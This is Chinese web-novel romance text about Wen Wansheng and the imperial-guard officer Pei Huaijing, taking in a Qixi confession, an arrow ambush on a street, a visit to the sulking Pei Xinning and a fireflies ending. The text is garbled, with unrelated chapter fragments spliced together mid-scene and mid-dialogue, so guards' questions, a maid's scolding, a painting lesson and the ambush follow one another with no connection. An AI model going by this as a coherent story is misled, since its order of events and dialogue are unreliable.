“七夕快乐。”温晚笙笑意融融地亲他一口:“我也爱你。” 没等来想听的,裴怀璟眼巴巴地追问,“只爱我吗?” “我爱的人很多唉。”温晚笙故作为难,“我的父母、我的朋友、我的宠物” 明显感到,少年的情绪有点低落,她脸上梨涡浅浅绽开。 裴怀璟莞尔一笑,弯腰拾起一支被雨水打落的徘徊花,指尖轻轻抚过湿花瓣,缓慢地碾碎,花汁染红指腹,又被雨洗得一干二净。 他把没了花瓣的徘徊花放回花车上,慢条斯理道:“此事先放一边,你们去给我查西街东南方向的楼阁,今天都有谁在。” 锦衣卫:“是。” 话音刚落,他们看到一个人从花车底下爬出来。 温晚笙确认外面没危险就出来了,没事躺车底下干什么,图它硌得慌?又不是受虐狂。她见到锦衣卫,还很友好朝他们招了招手。 这一队里有几个锦衣卫见过温晚笙,认得她,按住了其他以为她图谋不轨,想拔刀的锦衣卫。 温晚笙溜到裴怀璟身后。 有个锦衣卫知事问:“大人,西街刚发生了什么事?” 他们看到信号就赶来了,没来得及打听任何事情,到了西街又只见裴怀璟和一辆千疮百孔的花车,遍地的花瓣,还有一些箭。 她心情瞬间又不好了。 陶朱沉默须臾:“七姑娘,您行事该三思而后行,切勿这般草率,这对您的名声不好,您以前不是最爱惜您的名声……” 她又开始了劝诫之路。 温晚笙可不吃她这一套,低头挑选丝绦:“以前是以前,现在是现在,我刚出生的时候还是个三斤多的娃呢,现在翻了多少倍?” 用过早膳,温晚笙威胁陶朱说她再啰嗦就不带她出门了。 这一招比什么都管用,陶朱乖乖闭上嘴巴,生怕温晚笙又扔下她一个人在温家,自己出去溜达。 辰时末,温晚笙出发去裴家看裴馨宁。不知道裴怀璟在不在裴家,兴许还在北镇抚司办差。 到了裴家,温晚笙还是被人领到裴馨宁的闺房。 不过这回领她进门的人不再是守门的普通仆从,而是裴馨宁的贴身丫鬟芷兰。芷兰之所以到大门前迎温晚笙,是因为有话要说。 自那天从马场回来后,裴馨宁就一直郁郁寡欢,胃口也不太好,躲在房间里哪也不去,芷兰担心她继续这样会伤到身体。 今天温晚笙会来此不是偶然,芷兰瞒着裴馨宁派人去请的。 芷兰将事情的来龙去脉全部都告诉温晚笙,求助道:“温七姑娘,麻烦您待会好好劝劝三姑娘。再这样下去,她身体吃不消的。” 导致裴馨宁茶饭不思的原因还能是什么?温晚笙一清二楚,眼珠子一转,想到了开解她的办法。 解铃还须系铃人。 温晚笙凑到芷兰耳边说了几句话。芷兰半信半疑,踌躇道:“三姑娘会不会更加不高兴?” 她胸有成竹的样子:“不会的,你相信我,你家姑娘到时一定转愁为喜。你先去办,我进去看看你家姑娘,跟她说几句。” 芷兰应下了,往前走推开门:“三姑娘,您瞧瞧谁来了。” 裴馨宁的声音从里间传出:“我谁也不见,你让阿爹阿娘回去吧,我改日再去向他们问安。” “连我也不肯见?”一道带着点失落的声音横插进来。 一听就是温晚笙的声音,裴馨宁一扫郁色,喜出望外,扶着裙摆快走出来:“你怎么来了?” 她反问:“我不能来?” 裴馨宁亲昵地挽住温晚笙的臂弯,朝里走,低声道:“怎么会呢,你想来随时都可以来。” 伺候裴馨宁的丫鬟机灵,见温晚笙来了,端些茶水上来。 温晚笙入座,打量了下光线昏沉的里间。没开窗,帘子也落下,白日里仅以烛火照明,不远处的罗汉榻有一个只绣了一半的香囊。 昨天从裴怀璟房间里出来,已是日上三竿,她不得不旷了课。 今天好不容易把落下的课程一一补齐,精神早已被榨干。 庭院寂寂,只有她一人。 大家都去用午膳了,她难得毫无食欲,索性提前做起了丹青作业。 画到难的地方,笔尖在宣纸上悬了悬,迟迟没有落下。 “他今日回来,你可放心了。” 温润的嗓音自耳畔响起。 温晚笙的手腕一抖,一滴本不该出现的墨汁落在画卷中央,瞬间破了原本的布局。 她抬眼瞧了瞧来人,满腔郁气自然不能朝他发作,只能闷闷地‘嗯’了一声。 提到裴怀璟她就来气。 见她腮帮微鼓,谢衡之自然地接过她手中的笔。 温晚笙却在此时压低了身子,呼吸拂过他皮肤,她滚向一侧,与他同躺在地。就算分开了,离得也没一指远,裙摆衣摆交错叠着。 她不确定那些偷袭裴怀璟的人还会不会朝这里射箭,所以没离开花车车底,先探头观望观望。 裴怀璟不像温晚笙小心翼翼,无所顾忌出去,仰首望高楼方向。 高楼的窗户大开,还有不少人伸长脖子在看热闹,普通百姓怕惹事,楼上贵人不怕,所以一眼看去难以锁定箭是从哪里射出的。 急促的脚步声响彻西街,锦衣卫来了,他们井然有序地对裴怀璟行了一礼,继而请罪道:“大人,属下来迟,还望责罚。” “不过呢,爱人就你一个。” 裴怀璟倏地抬眸。 “我也爱你。” “只爱你。” 裴怀璟呼吸微沉。 “二小姐。”他的声音很轻,“我好幸福。” 她处处纵着他,不再是因为别的,仅仅只是因为爱他。 这份认知,让他每一日都比前一日更觉幸福。 往后无数个春秋冬夏,晨昏冷暖,都将由他陪在她身边。 温晚笙弯起的眼里含着星辰,“我也好幸福。” 话音未落,她的眼眸更亮了几分。 “有萤火虫唉!” 她提起裙摆,朝林间追了两步,不忘回头,笑靥比漫天流萤还要明灿。 “快跟上!” 裴怀璟追上少女的身影。 从此以后,他与他的明月,生生世世,再不分离。【】